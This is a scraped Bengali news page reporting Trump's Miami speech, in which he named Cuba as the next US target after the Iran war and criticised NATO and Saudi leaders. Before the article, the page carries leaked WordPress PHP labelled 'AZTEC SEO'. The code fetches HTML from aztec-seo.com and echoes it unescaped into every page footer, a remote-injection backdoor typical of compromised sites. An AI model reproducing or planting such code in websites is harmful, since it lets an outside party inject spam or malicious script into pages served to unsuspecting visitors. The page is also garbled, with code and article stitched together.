/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); এবার কোন দেশ যুক্তরাষ্ট্রের টার্গেটে, জানালেন ট্রাম্প | Dhaka Sky News

ট্রেন থেকে পড়ে অল্পের জন্য প্রাণে বাঁচলেন পুলিশ সদস্য

আগের সংবাদ

ইরান যুদ্ধ নিয়ে শাহবাজ-পেজেশকিয়ান ফোনালাপ

পরের সংবাদ

এবার কোন দেশ যুক্তরাষ্ট্রের টার্গেটে, জানালেন ট্রাম্প

আন্তর্জাতিক ডেস্ক

প্রকাশিত: March 28, 2026 , 7:00 pm

twitter sharing buttonএবার কোন দেশ যুক্তরাষ্ট্রের টার্গেটে, জানালেন ট্রাম্প

মার্কিন প্রেসিডেন্ট ডোনাল্ড ট্রাম্প। ছবি: সংগৃহীত

মিয়ামিতে সৌদি বিনিয়োগ ফোরামে ইরান যুদ্ধের পক্ষে যুক্তি দিয়ে মার্কিন প্রেসিডেন্ট ডোনাল্ড ট্রাম্প আবারও কিউবাকে পরবর্তী টার্গেট বলে হুঁশিয়ারি দিলেন। শুক্রবার (২৭ মার্চ) মিয়ামিতে ট্রাম্প ইরানের বিরুদ্ধে যুদ্ধে যুক্তরাষ্ট্রের বিজয়ের কথা তুলে ধরেন এবং হুঁশিয়ারি দিয়ে বলেন যে কিউবাই হবে পরবর্তী লক্ষ্য।

ট্রাম্পের বক্তব্যে মধ্যপ্রাচ্যকেন্দ্রিক বিভিন্ন বিষয় উঠে আসে। একই সঙ্গে তেহরানের বিরুদ্ধে ওয়াশিংটনের যুদ্ধে তাকে সাহায্য না করার জন্য তিনি ন্যাটোর কঠোর সমালোচনা করেন।

তিনি ইরানকে লক্ষ্য করে বলেন, ৪৭ বছর ধরে ইরান মধ্যপ্রাচ্যের উৎপীড়ক হিসেবে পরিচিত ছিল, কিন্তু তারা আর উৎপীড়ক নয়- তারা এখন পলাতক। ট্রাম্প বলেন, যুক্তরাষ্ট্র যদি ইরানকে কঠোরভাবে আঘাত না করত, তাহলে দেশটি দুই থেকে চার সপ্তাহের মধ্যেই পারমাণবিক অস্ত্র পেয়ে যেত। তিনি জোর দিয়ে বলেন, গত বছর ইরানের পারমাণবিক স্থাপনাগুলোতে যুক্তরাষ্ট্রের বোমা হামলা দেশটির কর্মসূচিকে কয়েক বছর পিছিয়ে দিয়েছে।

সৌদি আরবের উপস্থিত প্রধানদের উদ্দেশে তিনি বলেন, তারা এটা আপনাদের ওপর, ইসরাইলের ওপর এবং অন্য সবার ওপর ব্যবহার করত।ট্রাম্প আরও ইঙ্গিত দেন যে, তার দ্বিতীয় প্রশাসনের আগে সৌদি আরবের শীর্ষ নেতারা তাকে অবমূল্যায়ন করেছিলেন।

সৌদি যুবরাজ মোহাম্মদ বিন সালমানের সমালোচনা করে ট্রাম্প বলেন, কিছুদিন আগে আমরা একসঙ্গে ছিলাম এবং তিনি আমার দিকে তাকিয়ে বলেছিলেন, জানেন- এটা আশ্চর্যজনক যে এক বছর আগে আপনারা একটি মৃতপ্রায় দেশ ছিলেন; আর এখন আপনারা বিশ্বের সবচেয়ে আলোচিত দেশ। তিনি ভাবেননি যে এমনটা ঘটবে।

ট্রাম্প সৌদি আরবের নেতৃত্বের প্রতি হালকা কটাক্ষ করে বলেন, তিনি ভাবেননি যে তাকে আমার পা চাটতে হবে। সত্যিই ভাবেননি। তিনি ভেবেছিলেন আমি অধঃপতনের দিকে ধাবমান একটি দেশের আরেকজন ব্যর্থ আমেরিকান প্রেসিডেন্ট হবো। কিন্তু এখন তাকে আমার সঙ্গে ভালো ব্যবহার করতে হবে।

প্রেসিডেন্ট কিউবার বিরুদ্ধে সম্ভাব্য পদক্ষেপের ইঙ্গিত দিয়ে বলেন, এরপর কিউবার পালা।

ট্রাম্প কিউবার প্রেসিডেন্ট মিগেল দিয়াজ-কানেলকে যুক্তরাষ্ট্রের সঙ্গে একটি চুক্তিতে আসতে চাপ দেওয়ার চেষ্টা করছেন, কিন্তু এ ধরনের চুক্তির সম্ভাব্য শর্তাবলী সম্পর্কে বিস্তারিত জানাননি।

এর আগে গত সপ্তাহে ট্রাম্প বলেছিলেন, তিনি বিশ্বাস করেন যে কিউবার নিয়ন্ত্রণ নেওয়ার সম্মান তিনি পাবেন এবং তিনি এর সঙ্গে যা খুশি তাই করতে পারবেন। ট্রাম্প তার বেশিরভাগ সময় ব্যয় করেছেন ইরানে মার্কিন-ইসরাইলের যৌথ মিশন এবং দেশটির সামরিক সক্ষমতা নির্মূল করার বিষয়ে কথা বলতে।

এই ফোরামটি এমন এক সময়ে অনুষ্ঠিত হচ্ছে যখন যুদ্ধের প্রভাব, বিশেষ করে জ্বালানি খাতের ওপর এর প্রভাব নিয়ে উদ্বেগের কারণে অর্থনৈতিক বাজারগুলো অস্থিতিশীল রয়েছে।

ট্রাম্প তার পুরো বক্তব্যে মার্কিন অর্থনীতির প্রতি আস্থা প্রদর্শনের চেষ্টা করেন এবং উল্লেখ করেন, আমাদের অর্থনীতি আবার চাঙ্গা হচ্ছে।

তিনি বলেন, যখন এই যুদ্ধ শেষ হবে, তখন এটি রকেটশিপের মতো গতিতে এগোবে। আমি ভেবেছিলাম আমাদের অবস্থা আরও খারাপ হবে এবং তেলের দাম এখন যা আছে তার চেয়ে আরও বাড়বে। এটা এখনও শেষ হয়নি।

সূত্র: দ্য হিল